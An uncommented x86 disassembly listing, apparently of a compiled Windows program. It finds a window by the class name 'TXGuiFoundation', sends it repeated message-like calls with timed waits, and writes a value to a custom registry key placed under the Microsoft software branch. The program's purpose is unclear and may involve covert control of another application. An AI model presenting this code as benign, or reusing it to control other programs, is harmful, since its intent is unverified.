mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x403772
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x158
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x158
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0x159
push 1
push 0x1a2
push 1
push dword [ebp - 0x44]
call fcn.00406929
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
push 1
mov eax, str.TXGuiFoundation
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 1
mov eax, 0x429f48
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004066ca
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x403757
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x403767
push ebx
call fcn.00406ff5
add esp, 4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x44], eax
jmp 0x4035fd
pop eax
pop ebx
pop ecx
jmp 0x40336f
add esp, 0xc
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a145]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
push 0x42a155
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [0x42a131]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a141]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
push 0x42a15d
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a149]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
push 0x42a159
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
fild dword [ebx]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [0x42a14d]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
mov dword [ebp - 0x64], 0
push 0
push dword [ebp - 0x64]
push 0x42a161
fld qword [ebp - 0x60]
call fcn.0040119d
push eax
push dword [0x42a12d]
call fcn.0040627b
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4038c8
mov eax, 0x4282eb
push eax
push 1
mov ebx, 0x244
call fcn.00407fc0
add esp, 0x10
push 0x4283fc
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0x48], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x403906
mov eax, 0x4282eb
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x40391a
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x248
call fcn.00407e60
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x40393d
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000301
push 0
push 0x1388
push 1
mov ebx, 0x1c
mov eax, 0x40ae90
call fcn.004073e0
add esp, 0x10
push 0x80000004
push 0
push 0x429f51
push 0x80000004
push 0
push str.SOFTWAREMicrosoftmstxdate
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.00407fd0
add esp, 0x28
pop eax
pop ebx
pop ecx
jmp 0x401d7e
add esp, 0xc
call fcn.00403bf6
mov eax, 0
jmp 0x4039b0
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4039c1
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4039d1
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4039ef
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4039eb
imul eax, dword [ebx]
jmp 0x4039e0
mov ecx, eax
test ecx, ecx
je 0x403a0e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x403a07
push ebx
push eax
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4039f5
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x403a26
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x403a44
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x403a40
imul eax, dword [ebx]
jmp 0x403a35
mov ecx, eax
test ecx, ecx
je 0x403a63
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x403a5c
push ebx
push eax
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x403a4a
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x403a87
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403a9b
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403aaf
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403ac3
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403ad7
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403aeb
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403aff
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403b13
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403b27
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403b3b
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403b4f
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403b63
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403b7c
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x30]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x403b9a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x403b96
imul eax, dword [ebx]
jmp 0x403b8b
mov ecx, eax
test ecx, ecx
je 0x403bdd
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403bb8
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x403bcc
push ebx
call fcn.00406ff5
add esp, 4
pop ebx
call fcn.00406ff5
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x403ba0
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x3c]
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret